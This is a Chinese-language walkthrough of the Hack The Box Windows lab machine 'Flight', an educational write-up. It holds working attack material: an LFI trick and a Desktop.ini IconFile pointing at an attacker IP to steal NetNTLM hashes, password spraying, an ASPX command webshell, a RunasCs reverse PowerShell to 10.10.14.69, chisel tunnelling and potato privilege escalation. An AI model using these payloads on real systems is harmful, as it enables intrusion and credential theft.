OverView
这是 hard 难度的 Windows 靶机。体验不错,就是绕。注意使用 tmux 进行 shell 的管理会轻松一点点。
Useful Skills and Tools
SMBMap
SMBMap 是一个允许使用者枚举目标机器上的共享目录,共享文件夹、权限以及文件上传下载删除的工具
参数:
- -u username
- -p password
- -d [指定域名或 workgroup]
- -H ip
- -r 列出目录的所有内容
- –download PATH 下载文件
- –upload SRC DST 上传文件
具体其他用法可以参考 smbmap
SMBClient
SMB 客户端,该工具可以用于登录共享文件目录,登录成功后如同 ftp 一样可以在应有的权限下下载、上传文件
参数:
- -N 表示不用输入密码
- -L 列举目标共享
- -U 指定用户名
使用方法 smbclient 接网络资源
smbclient \\\\ip\\dictory 其他参数
crackmapexec
crackmapexec 是一个强大的后渗透工具,针对 AD 域内环境。集成了 dump hash、PTH 、爆破、命令执行等模块功能。这里要介绍的是 crackmapexec 使用 smb 协议枚举用户以及密码喷洒的功能
枚举用户:
CrackMapExec使用SMB协议来查询目标系统上的用户列表。具体来说,它发送一个SMB查询请求(Trans2 Query FS Information),请求查询目标系统上的共享文件夹信息。在响应中,SMB服务器会返回一个包含已连接到共享文件夹的用户列表的结构体(SMB_COM_TRANSACTION2)。CrackMapExec会解析这个响应,并从中提取出有效的用户名。
crackmapexec smb 域名或ip -u 用户 -p "密码" --users
密码喷洒:
crackmapexec smb 域名或ip -u 用户名文本文件 -p "要喷洒的秘密"
可选参数
- –continue-on-success 表示即使遇到一个用户密码成功,也会继续进行剩余用户密码喷洒操作
RunasCs
RunasCs 是一个可以以特定用户权限运行某个进程的 Windows 平台利用工具。最具有特色的是可以在运行进程的同时将输入输出端转发出去
使用方法:
RunasCs.exe user1 password1 whoami
可选参数
- -r host:port (redirect stdin, stdout and stderr to a remote host. Using this option sets the process timeout to 0.)
比如
runas.exe username password powershell -r 10.10.14.69:1338
此时如果在 10.10.14.69 上运行 nc 监听,将会得到反弹的 powershell
其他用法请见
chisel
一个轻量级的端口转发工具,虽然在 Windows 上面会被查杀
服务端使用方法:
./chisel server --reverse --port 9999
服务端参数
- –host [指定服务端 ip,默认是 0.0.0.0]
- –port 指定监听端口
- –reverse 表示允许所有客户端通过该服务端进行端口转发
客户端使用方法:
./chisel client 服务端ip:port R:服务端转发的端口:内网ip地址:内网端口
客户端 socks 代理
./chisel client 服务端ip:port R:服务端socks代理端口:socks
具体其他用法见 chisel
Enumeration
Nmap
sudo nmap -sCVS -T4 10.10.11.187 -Pn -p- -v
得到了如下结果
Host is up (0.29s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
| http-methods:
| Supported Methods: HEAD GET POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-title: g0 Aviation
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-03-19 12:58:20Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49694/tcp open msrpc Microsoft Windows RPC
49723/tcp open msrpc Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-03-19T12:59:18
|_ start_date: N/A
|_clock-skew: 6h59m49s
NSE: Script Post-scanning.
Initiating NSE at 14:00
Completed NSE at 14:00, 0.00s elapsed
Initiating NSE at 14:00
Completed NSE at 14:00, 0.00s elapsed
Initiating NSE at 14:00
Completed NSE at 14:00, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 531.90 seconds
Raw packets sent: 196833 (8.661MB) | Rcvd: 284 (12.496KB)
开放了 80 http 端口,5985 端口也被一个 http 服务占用了,这意味着即使我们得到凭证也无法通过 evil-winrm 工具直连。开放了 ldap 服务,但是通过 ldapsearch 工具没办法在没有凭证的情况下进行枚举。想通过 guest 用户对目标 smb 服务进行探测,但是也不允许。因此先从 80 端口的 http 服务开始着手
HTTP
Main Site
点开 http://flight.htb/ 发现并没有什么有用的信息。几乎没有任何功能。
进行目录扫描扫到了 http://flight.htb/cgi-bin/printenv.pl 发现一些敏感信息,包括绝对路径以及后台的服务信息
COMSPEC="C:\Windows\system32\cmd.exe"
CONTEXT_DOCUMENT_ROOT="/xampp/cgi-bin/"
CONTEXT_PREFIX="/cgi-bin/"
DOCUMENT_ROOT="C:/xampp/htdocs/flight.htb"
GATEWAY_INTERFACE="CGI/1.1"
HTTP_ACCEPT="text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8"
HTTP_ACCEPT_ENCODING="gzip, deflate"
HTTP_ACCEPT_LANGUAGE="en-US,en;q=0.5"
HTTP_CONNECTION="close"
HTTP_HOST="flight.htb"
HTTP_UPGRADE_INSECURE_REQUESTS="1"
HTTP_USER_AGENT="Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0"
MIBDIRS="/xampp/php/extras/mibs"
MYSQL_HOME="\xampp\mysql\bin"
OPENSSL_CONF="/xampp/apache/bin/openssl.cnf"
PATH="C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\svc_apache\AppData\Local\Microsoft\WindowsApps"
PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC"
PHPRC="\xampp\php"
PHP_PEAR_SYSCONF_DIR="\xampp\php"
QUERY_STRING=""
REMOTE_ADDR="10.10.14.69"
REMOTE_PORT="39856"
REQUEST_METHOD="GET"
REQUEST_SCHEME="http"
REQUEST_URI="/cgi-bin/printenv.pl"
SCRIPT_FILENAME="C:/xampp/cgi-bin/printenv.pl"
SCRIPT_NAME="/cgi-bin/printenv.pl"
SERVER_ADDR="10.10.11.187"
SERVER_ADMIN="postmaster@localhost"
SERVER_NAME="flight.htb"
SERVER_PORT="80"
SERVER_PROTOCOL="HTTP/1.1"
SERVER_SIGNATURE="<address>Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1 Server at flight.htb Port 80</address>\n"
SERVER_SOFTWARE="Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1"
SYSTEMROOT="C:\Windows"
TMP="\xampp\tmp"
WINDIR="C:\Windows"
SubDomain
此外,主站没有发现任何可以利用的东西,因此用 wufzz 进行子域名收集。
wfuzz -c -f subdomain.txt -w /usr/share/amass/wordlists/subdomains.lst -u "http://flight.htb" -H "host:FUZZ.flight.htb" --hl 154
发现了 school.flight.htb
LFI & NetNTLM Steal
虽然子域名的站点功能也极其简陋,但是发现了一个显眼的地方
经过测试发现存在任意读取文件的漏洞。(之前尝试了 C:\Windows\Win.ini
和 C:\\Windows\\Win.ini
都被 waf 拦截了)
而同样的根据前面获得的绝对路径,我们可以读取到 index.php 的核心代码
<?php if (!isset($_GET['view']) || $_GET['view'] == "home.html") { ?>
<div id="tagline">
<div>
<h4>Cum Sociis Nat PENATIBUS</h4>
<p>Aenean leo nunc, fringilla a viverra sit amet, varius quis magna. Nunc vel mollis purus.</p>
</div>
</div>
<?php } ?>
</div>
<?php
ini_set('display_errors', 0);
error_reporting(E_ERROR | E_WARNING | E_PARSE);
if(isset($_GET['view'])){
$file=$_GET['view'];
if ((strpos(urldecode($_GET['view']),'..')!==false)||
(strpos(urldecode(strtolower($_GET['view'])),'filter')!==false)||
(strpos(urldecode($_GET['view']),'\\')!==false)||
(strpos(urldecode($_GET['view']),'htaccess')!==false)||
(strpos(urldecode($_GET['view']),'.shtml')!==false)
){
echo "<h1>Suspicious Activity Blocked!";
echo "<h3>Incident will be reported</h3>\r\n";
}else{
echo file_get_contents($_GET['view']);
}
}else{
echo file_get_contents("C:\\xampp\\htdocs\\school.flight.htb\\home.html");
}
?>
可以发现这里是使用了 file_get_contents 函数读取文件。虽然 例子 给的是 include 函数,但是这里也值得一试。
在 kali 上开启监听
sudo responder -I tun0
读取攻击者机器上不存在的文件
//ip/test
很快的就得到了结果
svc_apache creds enumeration
我们将获取的 NTLMv2 用 hashcat 尝试破解
hashcat -a 0 -m 5600 NetNtlm.txt /usr/share/wordlists/rockyou.txt -o cracked.txt -O
最终得到凭证 svc_apache:S@Ss!K@*t13
SMB Enumeration
由于 5985 端口是被占用的,我们获得不了 shell。但是这个时候我们可以尝试用 smb 枚举
Shared disk
smbmap -H 10.10.11.187 -d flight.htb -r -u svc_apache -p "S@Ss\!K@*t13"
查看目标机器上的共享目录信息,发现 svc_apache 在各个目录下只有读权限,没有写权限
[+] IP: 10.10.11.187:445 Name: flight.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
.\IPC$\*
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 InitShutdown
fr--r--r-- 4 Mon Jan 1 08:05:43 1601 lsass
fr--r--r-- 4 Mon Jan 1 08:05:43 1601 ntsvcs
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 scerpc
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-398-0
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 epmapper
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-1fc-0
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 LSM_API_service
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 eventlog
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-460-0
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 atsvc
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-5c8-0
fr--r--r-- 5 Mon Jan 1 08:05:43 1601 wkssvc
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-28c-0
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-28c-1
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 RpcProxy\49673
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 777821e9a2b5a808
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 RpcProxy\593
fr--r--r-- 4 Mon Jan 1 08:05:43 1601 srvsvc
fr--r--r-- 4 Mon Jan 1 08:05:43 1601 netdfs
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 tapsrv
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-284-0
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 vgauth-service
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 ROUTER
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 W32TIME_ALT
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-b7c-0
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-b88-0
NETLOGON READ ONLY Logon server share
.\NETLOGON\*
dr--r--r-- 0 Fri Sep 23 03:47:44 2022 .
dr--r--r-- 0 Fri Sep 23 03:47:44 2022 ..
Shared READ ONLY
.\Shared\*
dr--r--r-- 0 Sat Mar 18 17:54:29 2023 .
dr--r--r-- 0 Sat Mar 18 17:54:29 2023 ..
SYSVOL READ ONLY Logon server share
.\SYSVOL\*
dr--r--r-- 0 Fri Sep 23 03:47:44 2022 .
dr--r--r-- 0 Fri Sep 23 03:47:44 2022 ..
dr--r--r-- 0 Fri Sep 23 03:47:44 2022 flight.htb
Users READ ONLY
.\Users\*
dw--w--w-- 0 Fri Sep 23 04:16:56 2022 .
dw--w--w-- 0 Fri Sep 23 04:16:56 2022 ..
dr--r--r-- 0 Fri Sep 23 03:28:03 2022 .NET v4.5
dr--r--r-- 0 Fri Sep 23 03:28:02 2022 .NET v4.5 Classic
dr--r--r-- 0 Tue Nov 1 02:34:00 2022 Administrator
dr--r--r-- 0 Wed Jul 21 04:19:19 2021 All Users
dr--r--r-- 0 Fri Sep 23 04:08:23 2022 C.Bum
dw--w--w-- 0 Wed Jul 21 03:20:24 2021 Default
dr--r--r-- 0 Wed Jul 21 04:19:19 2021 Default User
fr--r--r-- 174 Wed Jul 21 04:17:23 2021 desktop.ini
dw--w--w-- 0 Wed Jul 21 03:23:25 2021 Public
dr--r--r-- 0 Sat Oct 22 02:50:21 2022 svc_apache
Web READ ONLY
.\Web\*
dr--r--r-- 0 Sun Mar 19 22:27:01 2023 .
dr--r--r-- 0 Sun Mar 19 22:27:01 2023 ..
dr--r--r-- 0 Sun Mar 19 22:27:01 2023 flight.htb
dr--r--r-- 0 Sun Mar 19 22:27:01 2023 school.flight.htb
并且各个共享目录上面并没有感兴趣的文件。如果没有写权限,我们暂时无法获得 shell。
Valid Username & Password spray
使用 CrackMapExec 进行用户名枚举和 svc_apache 用户的密码喷洒
crackmapexec smb flight.htb -u svc_apache -p "S@Ss\!K@*t13" --users
结果如下,并将用户名保存一个文本文件
O.Possum
svc_apache
V.Stevens
D.Truff
I.Francis
W.Walker
C.Bum
M.Gold
L.Kein
G.Lors
R.Cold
S.Moon
krbtgt
Guest
Administrator
密码喷洒:
crackmapexec smb flight.htb -u users.txt -p "S@Ss\!K@*t13" --continue-on-success
S.Moon User creds
发现 S.Moon 用户的密码与 svc_apache 相同。此时依然尝试查看该用户在共享目录上的权限
smbmap -H 10.10.11.187 -d flight.htb -r -u S.Moon -p "S@Ss\!K@*t13"
发现 S.Moon 在 Shared 目录下拥有写权限
[+] IP: 10.10.11.187:445 Name: flight.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
.\IPC$\*
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 InitShutdown
fr--r--r-- 4 Mon Jan 1 08:05:43 1601 lsass
fr--r--r-- 4 Mon Jan 1 08:05:43 1601 ntsvcs
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 scerpc
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-398-0
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 epmapper
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-1fc-0
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 LSM_API_service
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 eventlog
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-460-0
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 atsvc
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-5c8-0
fr--r--r-- 5 Mon Jan 1 08:05:43 1601 wkssvc
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-28c-0
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-28c-1
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 RpcProxy\49673
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 777821e9a2b5a808
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 RpcProxy\593
fr--r--r-- 5 Mon Jan 1 08:05:43 1601 srvsvc
fr--r--r-- 4 Mon Jan 1 08:05:43 1601 netdfs
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 tapsrv
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-284-0
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 vgauth-service
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 ROUTER
fr--r--r-- 3 Mon Jan 1 08:05:43 1601 W32TIME_ALT
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-b7c-0
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
fr--r--r-- 1 Mon Jan 1 08:05:43 1601 Winsock2\CatalogChangeListener-b88-0
NETLOGON READ ONLY Logon server share
.\NETLOGON\*
dr--r--r-- 0 Fri Sep 23 03:47:44 2022 .
dr--r--r-- 0 Fri Sep 23 03:47:44 2022 ..
Shared READ, WRITE
.\Shared\*
dr--r--r-- 0 Sun Mar 19 23:06:24 2023 .
dr--r--r-- 0 Sun Mar 19 23:06:24 2023 ..
SYSVOL READ ONLY Logon server share
.\SYSVOL\*
dr--r--r-- 0 Fri Sep 23 03:47:44 2022 .
dr--r--r-- 0 Fri Sep 23 03:47:44 2022 ..
dr--r--r-- 0 Fri Sep 23 03:47:44 2022 flight.htb
Users READ ONLY
.\Users\*
dw--w--w-- 0 Fri Sep 23 04:16:56 2022 .
dw--w--w-- 0 Fri Sep 23 04:16:56 2022 ..
dr--r--r-- 0 Fri Sep 23 03:28:03 2022 .NET v4.5
dr--r--r-- 0 Fri Sep 23 03:28:02 2022 .NET v4.5 Classic
dr--r--r-- 0 Tue Nov 1 02:34:00 2022 Administrator
dr--r--r-- 0 Wed Jul 21 04:19:19 2021 All Users
dr--r--r-- 0 Fri Sep 23 04:08:23 2022 C.Bum
dw--w--w-- 0 Wed Jul 21 03:20:24 2021 Default
dr--r--r-- 0 Wed Jul 21 04:19:19 2021 Default User
fr--r--r-- 174 Wed Jul 21 04:17:23 2021 desktop.ini
dw--w--w-- 0 Wed Jul 21 03:23:25 2021 Public
dr--r--r-- 0 Sat Oct 22 02:50:21 2022 svc_apache
Web READ ONLY
.\Web\*
dr--r--r-- 0 Sun Mar 19 23:02:01 2023 .
dr--r--r-- 0 Sun Mar 19 23:02:01 2023 ..
dr--r--r-- 0 Sun Mar 19 23:02:01 2023 flight.htb
dr--r--r-- 0 Sun Mar 19 23:02:01 2023 school.flight.htb
Steal-NetNTLM By Desktop.ini
参考技巧
The desktop.ini files contain the information of the icons you have applied to the folder. We can abuse this to resolve a network path. Once you open the folder you should get the hashes.
我们可以上传一个 Desktop.ini 文件到目标目录下,当打开放有该文件的目录时,会触发网络请求。可以利用这一点进行盗取 NetNTLM Hash
我们写下 Desktop.ini
[.ShellClassInfo]
IconFile=\\10.10.14.69\aa
IconIndex=1337
然后通过 smbclient 上传 Desktop.ini 并触发
smbclient \\\\10.10.11.187\\Shared -U S.Moon
很快就捕捉到了 c.bum 用户的 NetNTLM Hash
再一次的进行 hashcat 尝试破解,得到了第三个凭证:C.Bum:Tikkycoll_431012284
FootHold
又进一步的进行查看 C.Bum 用户对于共享目录的权限
smbmap -H 10.10.11.187 -d flight.htb -r -u C.Bum -p "Tikkycoll_431012284"
终于发现了对 Web 目录具有写权限了
去 https://www.revshells.com/ 找到一个不错的 PHP 木马
然后用 smbclient 连接上传
smbclient \\\\10.10.11.187\\Web -U C.Bum
PHPWebShell
上传了以后继续使用 Powershell 的反弹 shell
监听即可得到交互式的 shell (兜兜转转终于得到了 svc_apache 的 shell 了)
Runas C.Bum
但是 svc_apache 用户几乎没有什么权限,也没有我们要找的第一个 flag。因此决定切换到 C.Bum 上进行信息收集。因为 Windows 的终端切换用户的时候会又弹出一个新的命令提示符,不像 Linux 上可以一个终端来回切换用户。所以我们需要借助到 RunasCs 工具进行弹一个新的终端利用
这个时候我们可以依旧借助 C.Bum 的凭证通过 SmbClient 在 Web 目录上上传 RunasCs.exe。监听对应的端口然后执行
.\runas.exe C.Bum Tikkycoll_431012284 powershell -r 10.10.14.69:1338
然后成功得到 C.Bum 的 shell
终于可以获得 user.txt 了
HTTP 8000 PortFoward
简单的信息收集发现 8000 端口正在监听并且没有在 Nmap 扫描下暴露出来
在 C.Bum 的 shell 上用 curl 发现又是一个 http 服务。于是通过上传 chisel 工具将该端口的流量转发出来。
Kali (服务端)上:
./chisel_1.8.1_linux_amd64 server --reverse --port 9999
目标机器(客户端)上:
.\chisel.exe client 10.10.14.69:9999 R:8888:127.0.0.1:8000
成功实现流量的转发
此时访问 Kali 上的 8888 端口即可。
Privilege escalation
又是一个没什么功能的 Web 站点,但是在 URL 随便加点东西发现了报错信息
看样子是 IIS 服务,似乎还可以执行 aspx 文件。而且还给了 Web 的绝对路径 C:\inetpub\development
现准备了一个 aspx 木马
<%
Dim cmd As New System.Diagnostics.Process()
Dim startInfo As New System.Diagnostics.ProcessStartInfo()
startInfo.FileName = "cmd.exe"
startInfo.Arguments = "/c " & Request("1")
startInfo.RedirectStandardOutput = True
startInfo.UseShellExecute = False
cmd.StartInfo = startInfo
cmd.Start()
Response.Write(cmd.StandardOutput.ReadToEnd())
%
并且测试发现 C.Bum 在该目录下有写文件的权限
成功执行命令,发现是一个新的用户
依旧尝试反弹个 Powershell
查看用户特权,发现有 SeImpersonatePrivilege
满足土豆提权充分条件
然后就是去 JuicyPotatoNG 那这个工具得到 root 结束。